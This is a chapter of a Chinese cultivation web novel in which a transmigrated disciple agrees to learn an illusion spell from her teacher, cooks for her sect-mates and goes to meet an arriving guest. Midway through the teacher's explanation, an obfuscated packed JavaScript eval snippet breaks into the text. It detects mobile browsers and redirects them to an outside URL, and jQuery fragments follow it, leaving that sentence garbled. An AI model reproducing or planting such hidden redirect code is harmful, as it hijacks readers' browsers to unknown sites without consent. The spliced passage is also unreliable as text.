既然能照出识海的法器已经归属苍韫桢,严骛此人对于关云铮而言也就没什么好忌惮的了,柳卿知要走的时候她还跟着下山去送了送。
“您来时也是骑马?从朝安城到镜溪?”关云铮看见柳卿知纵身上马震惊道。
如果这个世界的地图跟她印象中差不多的话,那朝安城到镜溪,应该至少是从京城到淮河以南了?那就至少一千公里了?就算是传说中的千里马,日夜不休也得跑两天,这都坐得住?
柳卿知坐在马背上一拉缰绳,腰背挺得很直:“是啊。”
关云铮肃然起敬。
闻越一副习以为常的样子,靠在树上对关云铮摆摆手:“她骑射比我大哥都在行。”
柳卿知笑了声,用腿一夹马腹:“走了,诸位来日见。”
众人直到她的身影淡出视野,才陆续收回视线。
关云铮和楚悯并肩往回走,闻越走在两人身侧伸了个懒腰:“她这一去,某些人怕是要倒霉咯。”
楚悯深以为然地点点头。
关云铮走出几步忽然想起什么,看向闻越:“师兄,柳相的马怎么栓得这么远?”
闻越起初没反应过来,随即忍俊不禁:“因为昨日她来的时候,这段路是石阶,马不好走。”
关云铮疑惑:“哪来的石阶?为什么今日又没了?”
章存舒在她身后懒散接话:“为了迎接仙盟铺设的,今日仙盟在山上呢,就懒得铺了。”
关云铮和楚悯对视一眼,都没忍住,各自强行压着嘴角不让自己笑得太放肆。
章存舒凑到关云铮和楚悯身边:“其实就是个小法术,想学吗?”
关云铮如实相告:“原本还挺想学的,但师父你这个语气……”
感觉就像是那种摆了算命摊子实则诈骗的,一开口就是“我观你印堂发黑,近日恐怕有血光之灾”,要不是知道章存舒不可能搞什么歪门邪道,她会以为自己师父下一秒要从怀里掏出一本修真大全,口中念着“少年我看你筋骨清奇是修道的好苗子”就冲上来了。
章存舒幽幽叹了口气:“我在你们心中到底是什么形象?”
闻越从另一边探出个脑袋:“师父您多虑了,您压根没有形象。”
关云铮听完,默默拉着楚悯的衣袖退后半步,让人菜瘾大的三师兄直面师父的怒火。
章存舒不知道是不是被气习惯了,只是看了闻越一眼,没说话,对着关云铮和楚悯继续说起方才的话题:“我也是从别人那学来的,是个幻术,只是幻术的真实程度会随着使用者的境界提升而提升。”
关云铮不为所动:“那现在的我学了岂不是会被一眼看穿?”
章存舒不答反问:“你觉得你现在是何种境界?”
关云铮被问得愣了一下:“难道我进步了?”
不应该吧,她又不是什么修道天才,当时引气入体还花了那么长时间呢。
章存舒神神秘秘的:“这你该问你自己。”说完他又问,“想学吗?这幻术?”
关云铮简直想笑,忍不住问他:“师父为何想让我学?”
章存舒相当坦诚:“我虽是你的师父,但到现在什么也没教过你,这不是难得有个机会。”
连映和江却已经从落后于三人的位置走到了和他们并列,连映听了这话笑道:“师父你今日好奇怪。”
章存舒老神在在的:“这幻术难道不有意思吗?”
关云铮只好笑着承认:“有意思有意思,那就学吧。”
****
李演坐在桌边喝给他留的那份奶茶,关云铮揽过做饭的任务,正准备去菜地里扒拉几盘菜出来,发现江却已经提着菜篮子回来了。
连映走在他身后,朝关云铮招呼着:“方才比你们早些回来,就和阿却去菜地里摘了些菜。”
关云铮和楚悯凑上前,两个脑袋探进菜篮。
连映笑盈盈的:“够吗?我没下过厨,不太清楚分量。”
关云铮把菜篮里的菜点了点:“够了,我去洗菜。”
闻越不知道什么时候走到关云铮身后,闻言搭了一下她的肩膀:“我和师兄去洗,你和师姐歇着。”
楚悯刚想开口,闻越若有所觉地一侧头:“小悯也歇着。”
“那就多谢二位师兄啦。”关云铮乐得偷懒,嘴甜道。
两个师兄提着菜篮子出去洗菜了,三个姑娘一起坐回桌边。
连映解释道:“闻越不知道从哪里听来的,一直坚持姑娘家的手要少沾水。”
关云铮觉得好笑:“那我们还得练剑呢,我待会儿还得切菜做菜。”
虽说是好心,但光是不沾水怕是帮助不大。
楚悯帮着解释道:“我之前听过,反复沾水又被风吹干的话,皮肤容易皲裂。”
啊,这倒也是,她都忘了还有这茬了,好像冬天会格外严重,手在热水里浸泡过又吹冷风,关节很容易干裂。
关云铮煞有介事地点点头:“那就更得感谢两位师兄了。”不过说到师兄……她看向连映,“师姐和大师兄是同龄吗?”
连映笑着回答:“他比我大几个月。”像是猜到了关云铮要问什么,她接着说道,“我和阿却都是孤儿,一起被师父捡回来的。”
关云铮:最近怎么都在问死亡话题,不想活了。
大概是她脸上的死意太过明显,楚悯都没忍住笑出声来,伸出手摸了摸关云铮的手背以作安抚:“师姐那时几岁?”
连映想了想:“大概六岁?那几年过得比较浑噩,记不太清楚了。”
关云铮双眼空洞,嘴上喃喃道:“我真该死啊……”
连映捏了一把她的脸:“说什么呢。我早都不在意了,要是在意我自己还提起来做什么?怎么这么长时间了同我们说话还有这些顾忌。”
关云铮比划着:“那不是,越是亲近越容易无所顾忌吗,万一说错话什么的,造成的伤害也越严重。”
连映歪头看她:“我们都知道那一定是你无心之失呀。”
楚悯深有同感地点点头:“是呀。”
关云铮鼻子发酸,好半晌什么也没说出来,于是只好把自己砸师姐怀里了。
“我知道了。”她声音闷闷的。
连映笑着揉了揉她的脑袋。
闻越洗菜回来看见这个场面还以为出什么事了,凑上来扒拉了几下关云铮,发现她脸上没有哭过的痕迹才说:“怎么了这是?”
连映笑着说:“云崽问我和阿却小时候的事。”
闻越恍然:“觉得戳师姐痛处了,愧疚呢?”
关云铮默默移开视线。
闻越也揉了一把她的脑袋:“师姐要是不愿提,你也没机会开口了,这么拘谨做什么?”
江却放下菜篮子,在连映身边坐下:“也可以问我。”
关云铮感觉自己又被空气呛了,闻言忙不迭摆手:“不不,我先不问了。”
几人围着关云铮坐着,看她这样都笑起来。
“聊什么呢?”章存舒跨过门槛走进来。
关云铮揣上菜篮就窜到灶台边了:“我做菜去了。”
章存舒看了眼明显有点不对劲的关云铮,又看了眼笑盈盈的连映,心知没什么大事,于是晃悠到关云铮旁边靠着:“趁这会儿给你讲讲方才那个术法?”
关云铮在切菜的间隙里点点头,听他在旁边解释:“此术法名叫蜃景。”
她手中刀没停:“海市蜃楼?”
章存舒颔首:“正是。”
关云铮把洗净的茄子切段,装进碟子备用,又从不知何时站在一旁的楚悯手里接过别的洗净的菜,做完这一串动作一抬头,发现章存舒停了话茬在看自己切菜,不由来了句:“师父你继续。”
章存舒失笑:“怕你分心切着手。”
关云铮动作一顿,故作怨念:“您盼我点好。”
章存舒笑了笑:“你能说出海市蜃楼,想必了解此景出现的原理。因此施展这个术法必须在有光的前提下,若是处在黑暗中,术法
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109552|159306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是无法成功施展的。”
楚悯若有所思地点点头,关云铮熟练地把丝瓜切片,答道:“这倒是,没光形成不了。”
章存舒靠在旁边继续说道:“接下来,施展幻术就需要依靠灵气的运用了。”
她就知道。
关云铮认命地叹了一口气,架锅烧油:“那符咒呢?需要吗?”
灵气运用和符咒使用简直就是修仙界的两大基本守则,所有的术法基本都得围绕这两点进行,再奇幻的术法都得依靠这两点构建出骨架,拥有稳固的骨架之后才能生长出饱满的血|肉。
所以干脆告诉她还需要符咒运用也非常熟练得了,这样她就彻底对蜃景这个术法死心了。
毕竟她到现在也不会一笔画完符咒,每次都因为画的时候太过疲惫而进行得断断续续,符咒的效用也因此无法发挥到最佳状态。
章存舒笑起来:“那得看你要铺多大的蜃景了。
若是你的院子那么大,用不上符咒;若是归墟这么大,不仅要用上符咒辅助,还需要画出法阵支撑,不然蜃景的维系全靠一人,容易反噬。”
冷菜下锅的爆响。
关云铮在陡然喧哗起来的环境中对章存舒说:“那我明日学?”
章存舒像是没想到她会主动敲定时间,看了她片刻才说:“你愿意学,我自然是随时恭候。小悯呢?和云崽一起学?”
楚悯点点头。
然后两人就被专心炒菜的关小厨给扒拉到一边去了,以免他俩被热油溅到身上。
****
饭菜被陆续端上桌。
修仙之后体力都变好了,以前炒俩菜都能给她累好半天——不排除是在寝室偷偷做菜太考验心态和胆量的原因,现在炒了一桌子菜也没觉出累,仿佛被每天练剑练术法的日子PUA了,一闲下来就觉得不做点什么运动量就没达标似的。关云铮一边在心里吐槽,一边给自己夹了一筷子丝瓜炒蛋。
方才李演喝完奶茶闲不住,把茶碗洗了又去菜地翻了一遍土,此刻回来坐在章存舒身边,看了眼桌上丰盛的菜色,惊讶:“做这么多菜?”
关云铮和闻越异口同声:“多吗?七个人呢。”
李演颇觉好笑:“你俩……”
老吃货了。
关云铮自己在心里点评道。
闻越美滋滋地吃着菜,忽然想起什么:“师父,你方才说的那个敲打严骛的人还没来?”
是哦,不是说傍晚就该到了吗,现在也算是傍晚了吧,正是敲打仙盟的好时候啊!缺德乐子人关云铮这样想道。
章存舒面色平静地吃了口菜,完全没在着急:“尚未,等等,”他忽然一顿,“来了。”
江却夹菜的动作也一顿:“护山大阵感应到了?”
章存舒点头:“也不知道吃过没。”
连映已经起身了:“我去添副碗筷。”
章存舒笑眯眯的:“先不急,”他扭头看向关云铮,“云崽随我一同去迎接一下我们的客人?”
关云铮敏锐地意识到不对劲,放下筷子起身,看着同步起身的章存舒,狐疑:“是我认识的人?”
章存舒一边往外走一边回答:“去了就知道了。”
关云铮跟上他的脚步,嘴上没忘了吐槽他:“师父你一直这样吗?”
章存舒微微侧头:“我怎么?”
关云铮撇嘴:“故作神秘。”
她的谜语人师父哈哈大笑:“你知道是谁了?”
关云铮摊开双手,一耸肩:“我认识的,会来归墟的,你也认识的,还能在言语上敲打严骛的,”她目光炯炯,“我赌一碗奶茶,是苏逢雨。”
章存舒也学她的模样摊开双手:“你看,你都猜出来了,这不能叫故作神秘吧?”
关云铮被击败了,半晌憋出来一句:“师父你好会诡辩。”
章存舒浑不在意:“能说赢就行了,诡不诡的就无关紧要了。”
话是这么说,但你都在教什么歪理啊这位师父!